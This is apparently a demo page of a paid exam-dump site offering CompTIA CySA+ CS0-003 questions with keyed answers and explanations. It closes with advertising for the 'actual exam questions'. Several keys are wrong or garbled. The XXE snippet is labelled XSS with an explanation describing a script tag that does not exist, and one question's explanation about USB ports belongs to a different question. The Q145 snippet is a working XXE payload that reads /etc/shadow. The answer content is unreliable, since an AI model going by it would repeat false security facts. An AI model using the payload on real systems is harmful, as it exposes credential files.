An organization discovered a data breach that resulted in PII being released to the public. During the lessons learned review, the panel identified discrepancies regarding who was responsible for external reporting, as well as the timing requirements. Which of the following actions would best address the reporting issue?

- A. Creating a playbook denoting specific SLAs and containment actions per incident type
- B. Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs
- C. Defining which security incidents require external notifications and incident reporting in addition to internal stakeholders
- D. Designating specific roles and responsibilities within the security team and stakeholders to streamline tasks

**Answer: B**

#### Explanation:

Researching federal laws, regulatory compliance requirements, and organizational policies to document specific reporting SLAs is the best action to address the reporting issue. Reporting SLAs are service level agreements that specify the time frame and the format for notifying the relevant authorities and the affected individuals of a data breach. Reporting SLAs may vary depending on the type and severity of the breach, the type and location of the data, the industry and jurisdiction of the organization, and the internal policies of the organization. By researching and documenting the reporting SLAs for different scenarios, the organization can ensure that it complies with the legal and ethical obligations of data breach notification, and avoid any penalties, fines, or lawsuits that may result from failing to report a breach in a timely and appropriate manner<sup>12</sup>. References: When and how to report a breach: Data breach reporting best practices, Incident and Breach Management

### NEW QUESTION 137

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

- A. `function x() { info=$(geoipllookup $1) && echo "$1 | $info" }`
- B. `function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" }`
- C. `function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "." '{print $1}')'.origin.asn.cymru.com TXT +short) && echo "$1 | $info" }`
- D. `function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

**Answer: C**

#### Explanation:

The function that can be used on a shell script to identify anomalies on the network routing most accurately is:

```
function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F "." '{print $1}')'.origin.asn.cymru.com TXT +short) && echo "$1 | $info" }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies

### NEW QUESTION 138

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system. Which of the following best meets this requirement?

- A. SIEM
- B. CASB
- C. SOAR
- D. EDR

**Answer: D**

#### Explanation:

EDR stands for Endpoint Detection and Response, which is a layer of defense that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can protect against external threats regardless of the device's operating system, as it can detect and respond to attacks based on behavioral analysis and threat intelligence. EDR is also one of the tools that CompTIA CySA+ covers in its exam objectives. Official References:

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

? <https://resources.infosecinstitute.com/certification/cyasa-plus-ia-levels/>

#### NEW QUESTION 142

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?

- A. Deploy agents on all systems to perform the scans.
- B. Deploy a central scanner and perform non-credentialed scans.
- C. Deploy a cloud-based scanner and perform a network scan.
- D. Deploy a scanner sensor on every segment and perform credentialed scans.

**Answer:** A

#### Explanation:

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario. References:

? CompTIA CySA+ CS0-003 Certification Study Guide, page 247

? What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors"

? Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"

#### NEW QUESTION 145

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow">]>
<userInfo>
<firstName>John</firstName>
<lastName>$ent;</lastName>
</userInfo>
```

Which of the following vulnerability types is the security analyst validating?

- A. Directory traversal
- B. XSS
- C. XXE
- D. SSRF

**Answer:** B

#### Explanation:

XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website. XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that allows an attacker to interfere with an application's processing of XML data, and potentially access files or systems. SSRF (server-side request forgery) is an attack that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:

? <https://portswigger.net/web-security/xxe>

? <https://portswigger.net/web-security/ssrf>

? [https://cheatsheetseries.owasp.org/cheatsheets/Server\\_Side\\_Request\\_Forgery\\_Prevention\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)

#### NEW QUESTION 149

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)

- A. Beaconing
- B. Domain Name System hijacking
- C. Social engineering attack
- D. On-path attack
- E. Obfuscated links
- F. Address Resolution Protocol poisoning

**Answer:** CE

#### Explanation:

A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather than exploiting technical vulnerabilities. A social engineering attack may involve deceiving, persuading, or coercing users into performing actions that benefit the attacker, such as clicking on malicious links, divulging sensitive information, or granting access to restricted resources. An obfuscated link is a link that has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by attackers to trick users into visiting malicious websites or downloading malware. In this case, an incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. This indicates that the analyst is witnessing a social engineering attack using obfuscated links.

#### NEW QUESTION 152

The management team requests monthly KPI reports on the company's cybersecurity program. Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?

- A. Employee turnover
- B. Intrusion attempts
- C. Mean time to detect
- D. Level of preparedness

**Answer:** C

#### Explanation:

Mean time to detect (MTTD) is a metric that measures the average time it takes for an organization to discover or detect an incident. It is a key performance indicator in incident management and a measure of incident response capabilities. A low MTTD indicates that the organization can quickly identify security threats and minimize their impact<sup>12</sup>.

References: What Is MTTD (Mean Time to Detect)? A Detailed Explanation, Introduction to MTTD: Mean Time to Detect

#### NEW QUESTION 156

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

- A. Implement segmentation with ACLs.
- B. Configure logging and monitoring to the SIEM.
- C. Deploy MFA to cloud storage locations.
- D. Roll out an IDS.

**Answer:** A

#### Explanation:

Implementing segmentation with ACLs is the best solution to secure the network. Segmentation is the process of dividing a network into smaller subnetworks, or segments, based on criteria such as function, location, or security level. Segmentation can help improve the network performance, scalability, and manageability, as well as enhance the network security by isolating the sensitive or critical data and systems from the rest of the network. ACLs are Access Control Lists, which are rules or policies that specify which users, devices, or applications can access a network segment or resource, and which actions they can perform. ACLs can help enforce the principle of least privilege, and prevent unauthorized or malicious access to the network segments or resources<sup>12</sup>. Configuring logging and monitoring to the SIEM, deploying MFA to cloud storage locations, and rolling out an IDS are all good security practices, but they are not the best solution to secure the network. Logging and monitoring to the SIEM can help detect and analyze the network events and incidents, but they do not prevent them. MFA can help authenticate the users who access the cloud storage locations, but it does not protect the network from attacks or breaches. IDS can help identify and alert the network intrusions, but it does not block them<sup>34</sup>. References: Network Segmentation: What It Is and How to Do It Right, What is an Access Control List (ACL)? | IBM, What is SIEM? | Microsoft Security, What is Multifactor Authentication (MFA)? | Duo Security, [What is an Intrusion Detection System (IDS)? | IBM]

#### NEW QUESTION 161

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

- A. Beaconing
- B. Cross-site scripting
- C. Buffer overflow
- D. PHP traversal

**Answer:** A

#### NEW QUESTION 162

.....

## THANKS FOR TRYING THE DEMO OF OUR PRODUCT

Visit Our Site to Purchase the Full Set of Actual CS0-003 Exam Questions With Answers.

We Also Provide Practice Exam Software That Simulates Real Exam Environment And Has Many Self-Assessment Features. Order the CS0-003 Product From:

<https://www.2passeasy.com/dumps/CS0-003/>

## Money Back Guarantee

### CS0-003 Practice Exam Features:

- \* CS0-003 Questions and Answers Updated Frequently
- \* CS0-003 Practice Questions Verified by Expert Senior Certified Staff
- \* CS0-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* CS0-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year